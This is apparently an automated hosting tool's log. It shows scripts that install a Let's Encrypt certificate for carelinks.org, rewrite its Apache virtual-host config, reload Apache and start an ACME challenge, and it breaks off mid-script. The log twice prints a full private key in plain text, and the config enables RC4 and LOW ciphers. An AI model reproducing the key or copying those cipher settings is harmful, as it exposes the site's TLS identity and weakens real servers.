eCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmY7oYkcAAAQDAEcwRQIhAMmeVWfk1w+i
F6roRTt2VtIzUXlZbWzy15NP9oEhr17ZAiAprQ39TXjiQSktQMfVkw8ZcHOLsN/d
mmLBMILm7OT1CjANBgkqhkiG9w0BAQsFAAOCAQEAXcFKYIFqJldHhjTduAmnXsXE
pnBO0xt3YUFgz/6QVm64Q7p3UpI0UCiHcnbzOaGl7DUZV0yL/sXgkcJ3zACttDLZ
k/qCPryfjVPLBBv3Osue1jre+2jXZKsT0X8aVHDao/cAIhhZNXCOallL+z42aNBW
2ZqXEEY63PT0+5TnbmUzD8l4czuYfIQwzkICyPy2jWb1djY08YQWw/K6vRE5xHMD
ZIM3BjkygqNjREgTAOGB0w1DD5XJupfldsM2Tk995oZ7UKJYAPfx3LpRYGs+lIfL
8eWJrUvc99UY/SU9hZrDMwN8A/a/3RMRfhhe409e/x/0bRgk71GggAyDSd3Qzw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDanXGpFgaWKcU9
Gg/48cK1obpWMKy2LOXqRrZ/OUKQ77Sqb2a/T9fhBBOACGewFa9tTs7xvl2RJ8DN
du58BuGLiKDODb/+EBtr9vdZRylr5T8bhRR6wjmuFWcj6oZoLbaOLDysSDG81j+V
P1thPqN6X+TgLqAASy/K5R1P8mQgikTvdcZ6taix9oVJKZ1vj+Zi6sMUXD/MbXJP
EDF1XYZUlAoJ0/Hqd6L0I3aPMciIyCi6Ni6CJrxdv5SjAV9txXRweRhKqnYFENAW
8vT/i58rOsz23B97B/KK4VFOnzFVGAfTGHucFrU5Wfd+JDIWrIPFPpCAIIrG36He
HUdJ5a1XAgMBAAECggEAFS9yx08CHmU33v76k0ZidxWQKDAZXKInObfWkaer4r3I
BUg8bcfABOdPOHYYDkFbub0MYvLuwFVY4tBmthA4pTv9UVqVw3ouHh1VxQoXYoRZ
xEH2RRszWcJrN1jP46KicU6qJovsff9JNB5qrZbTYtWOKYd7K+wdWo0vdQLpXxm5
S7EfSczd+fr5c+BaYCh/EaEWiFSXO8sQtj6aluKpK1FrkaMos0D7clhGebZqtkYr
ioMiKQtNTA5D4dGsIEE3Eo0HB2YoZo3kzip56lmVHZToNfU1Ejc0OXRG/Z0mCuZv
zlXV9kXaVKsaI4J2KAjeHwHbBOkvz3wBvH7TrzOiSQKBgQDzdBNRs6gJ9wNvUCic
38hAvCsXhG4v7MZMDEvyrX+L4ffgdxgFh8457TVZ3yWahmobNFR4DvX8Y5J/5kAv
OKC8gS56uJ/XOcg/oXw8M3CikXh/tbo0Ka9WvTI071qS7VYN9uIT9DeRmOapJC8R
zF5wk6IPqRej8w5vVjfkfvTZgwKBgQDl4avHQIl/VgTN3df/iIeMFzQTLcYDSCk+
y9fsKy1spJGlesLsaLiJvpZeEZlIdtLf6AvZMFcR1GJfGnMnLnA+X5ZU/255CVjL
TphLsFpfl4qF5LpyIg2TmCJLf07KVvhS6T8jz92Ao1XO1KH7oTWZ81Xhq7HYpuu2
KJVyWcgYnQKBgQDnPyuWoKsOBBa8Jgzdreb+Ln5UEVPErAhTdh6x/cE4csTL7vPf
VPc7qKjTnBWQ6PpiqttNSxC20zH10RTIheaQB7jJkxMpEda3MkHawRXNJZaq4Ehl
ge7t2jqVc4G6LDxgeVCXmZMq9myq3xbithhCoMkATSKKdbYRZXkjzr/u1wKBgDNt
AaWobVn8H0UCnOCAZXpUcoTb15FCYl+28E3X9uh4BFEVnmeOocHGzhKrMzQ/yLro
SUZEByZo8by+yQX54IhDj/jhz4/qJGAO7Aj6oa0C1K1RVthTf+AFx55GE5U2UYUS
wto7FR1C7N5BOR92l+whwJOkejuyU8bDW3NiXF4NAoGBAM886CeDW+rqCfHS928R
7M95Po3Bxamsln+ISDNIop5hxQ1kE++B1g7YE+depF2aEIR2URlv0c4DNA+Wy8nL
FR5cHgNpGRp9vTH7CcPwN7457g+mu8ysjetTj2/q2KLzkfuTasz4DGK7Co8OXhFe
7uAMD7viVXbKh+z4e2p0CTNC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-28 06:00:23: 

chmod 755 /tmp/pkp755711; /tmp/pkp755711; rm /tmp/pkp755711

2025-09-28 06:00:23: 


dir=/etc/ssl/certs


2025-09-28 06:00:23: 

PUT: /tmp/pkp595351

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-28 06:00:24: 

chmod 755 /tmp/pkp595351; /tmp/pkp595351; rm /tmp/pkp595351

2025-09-28 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 41

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-28 06:00:24: 

PUT: /tmp/pkp509955

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf= 1'
fi


2025-09-28 06:00:25: 

chmod 755 /tmp/pkp509955; /tmp/pkp509955; rm /tmp/pkp509955

2025-09-28 06:00:25: 




2025-09-28 06:00:25: 

PUT: /tmp/pkp797397

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-28 06:00:25: 

chmod 755 /tmp/pkp797397; /tmp/pkp797397; rm /tmp/pkp797397

2025-09-28 06:00:26: 


.


2025-09-28 06:00:26: Establishing a connection
2025-09-28 06:00:27: 

PUT: /tmp/pkp322685

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-28 06:00:28: 

chmod 755 /tmp/pkp322685; /tmp/pkp322685; rm /tmp/pkp322685

2025-09-28 06:00:28: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-09-28 06:00:28: 

PUT: /tmp/pkp514833

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-28 06:00:29: 

chmod 755 /tmp/pkp514833; /tmp/pkp514833; rm /tmp/pkp514833

2025-09-28 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf	1206

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-28 06:00:29: 

PUT: /tmp/pkp101284

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-28 06:00:30: 

chmod 755 /tmp/pkp101284; /tmp/pkp101284; rm /tmp/pkp101284

2025-09-28 06:00:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt	5372
d3:15:2e:f9:0d:45:6b:1a:34:50:d1:fd:10:94:c9:89

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbDwD00uqUzTLlEFLPbRWzmwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI4MDUwMTQ4WhcNMjUxMjI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
2p1xqRYGlinFPRoP+PHCtaG6VjCstizl6ka2fzlCkO+0qm9mv0/X4QQTgAhnsBWv
bU7O8b5dkSfAzXbufAbhi4igzg2//hAba/b3WUcpa+U/G4UUesI5rhVnI+qGaC22
jiw8rEgxvNY/lT9bYT6jel/k4C6gAEsvyuUdT/JkIIpE73XGerWosfaFSSmdb4/m
YurDFFw/zG1yTxAxdV2GVJQKCdPx6nei9CN2jzHIiMgoujYugia8Xb+UowFfbcV0
cHkYSqp2BRDQFvL0/4ufKzrM9twfewfyiuFRTp8xVRgH0xh7nBa1OVn3fiQyFqyD
xT6QgCCKxt+h3h1HSeWtVwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBScz+g5XI7qYCoTK9NOL1zppiES6jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNDkuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
juhiNwAABAMASDBGAiEAu5pXyMlbROQHEL8cYZGDGX0B2RSNIknVrjOynKVb25gC
IQCW2w/hB76Sjf3laRQEUvZRf7Z461OiTfGEJ+HgeCRyXgB2ABmG1Mcoqm/+ugNv
eCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmY7oYkcAAAQDAEcwRQIhAMmeVWfk1w+i
F6roRTt2VtIzUXlZbWzy15NP9oEhr17ZAiAprQ39TXjiQSktQMfVkw8ZcHOLsN/d
mmLBMILm7OT1CjANBgkqhkiG9w0BAQsFAAOCAQEAXcFKYIFqJldHhjTduAmnXsXE
pnBO0xt3YUFgz/6QVm64Q7p3UpI0UCiHcnbzOaGl7DUZV0yL/sXgkcJ3zACttDLZ
k/qCPryfjVPLBBv3Osue1jre+2jXZKsT0X8aVHDao/cAIhhZNXCOallL+z42aNBW
2ZqXEEY63PT0+5TnbmUzD8l4czuYfIQwzkICyPy2jWb1djY08YQWw/K6vRE5xHMD
ZIM3BjkygqNjREgTAOGB0w1DD5XJupfldsM2Tk995oZ7UKJYAPfx3LpRYGs+lIfL
8eWJrUvc99UY/SU9hZrDMwN8A/a/3RMRfhhe409e/x/0bRgk71GggAyDSd3Qzw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDanXGpFgaWKcU9
Gg/48cK1obpWMKy2LOXqRrZ/OUKQ77Sqb2a/T9fhBBOACGewFa9tTs7xvl2RJ8DN
du58BuGLiKDODb/+EBtr9vdZRylr5T8bhRR6wjmuFWcj6oZoLbaOLDysSDG81j+V
P1thPqN6X+TgLqAASy/K5R1P8mQgikTvdcZ6taix9oVJKZ1vj+Zi6sMUXD/MbXJP
EDF1XYZUlAoJ0/Hqd6L0I3aPMciIyCi6Ni6CJrxdv5SjAV9txXRweRhKqnYFENAW
8vT/i58rOsz23B97B/KK4VFOnzFVGAfTGHucFrU5Wfd+JDIWrIPFPpCAIIrG36He
HUdJ5a1XAgMBAAECggEAFS9yx08CHmU33v76k0ZidxWQKDAZXKInObfWkaer4r3I
BUg8bcfABOdPOHYYDkFbub0MYvLuwFVY4tBmthA4pTv9UVqVw3ouHh1VxQoXYoRZ
xEH2RRszWcJrN1jP46KicU6qJovsff9JNB5qrZbTYtWOKYd7K+wdWo0vdQLpXxm5
S7EfSczd+fr5c+BaYCh/EaEWiFSXO8sQtj6aluKpK1FrkaMos0D7clhGebZqtkYr
ioMiKQtNTA5D4dGsIEE3Eo0HB2YoZo3kzip56lmVHZToNfU1Ejc0OXRG/Z0mCuZv
zlXV9kXaVKsaI4J2KAjeHwHbBOkvz3wBvH7TrzOiSQKBgQDzdBNRs6gJ9wNvUCic
38hAvCsXhG4v7MZMDEvyrX+L4ffgdxgFh8457TVZ3yWahmobNFR4DvX8Y5J/5kAv
OKC8gS56uJ/XOcg/oXw8M3CikXh/tbo0Ka9WvTI071qS7VYN9uIT9DeRmOapJC8R
zF5wk6IPqRej8w5vVjfkfvTZgwKBgQDl4avHQIl/VgTN3df/iIeMFzQTLcYDSCk+
y9fsKy1spJGlesLsaLiJvpZeEZlIdtLf6AvZMFcR1GJfGnMnLnA+X5ZU/255CVjL
TphLsFpfl4qF5LpyIg2TmCJLf07KVvhS6T8jz92Ao1XO1KH7oTWZ81Xhq7HYpuu2
KJVyWcgYnQKBgQDnPyuWoKsOBBa8Jgzdreb+Ln5UEVPErAhTdh6x/cE4csTL7vPf
VPc7qKjTnBWQ6PpiqttNSxC20zH10RTIheaQB7jJkxMpEda3MkHawRXNJZaq4Ehl
ge7t2jqVc4G6LDxgeVCXmZMq9myq3xbithhCoMkATSKKdbYRZXkjzr/u1wKBgDNt
AaWobVn8H0UCnOCAZXpUcoTb15FCYl+28E3X9uh4BFEVnmeOocHGzhKrMzQ/yLro
SUZEByZo8by+yQX54IhDj/jhz4/qJGAO7Aj6oa0C1K1RVthTf+AFx55GE5U2UYUS
wto7FR1C7N5BOR92l+whwJOkejuyU8bDW3NiXF4NAoGBAM886CeDW+rqCfHS928R
7M95Po3Bxamsln+ISDNIop5hxQ1kE++B1g7YE+depF2aEIR2URlv0c4DNA+Wy8nL
FR5cHgNpGRp9vTH7CcPwN7457g+mu8ysjetTj2/q2KLzkfuTasz4DGK7Co8OXhFe
7uAMD7viVXbKh+z4e2p0CTNC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-28 06:00:30: Establishing a connection
2025-09-28 06:00:30: Establishing a connection
2025-09-28 06:00:30: 

PUT: /tmp/pkp374531

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-28 06:00:31: 

chmod 755 /tmp/pkp374531; /tmp/pkp374531; rm /tmp/pkp374531

2025-09-28 06:00:31: 


1


2025-09-28 06:00:31: Establishing a connection
2025-09-28 06:00:32: 

PUT: /tmp/pkp768122

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
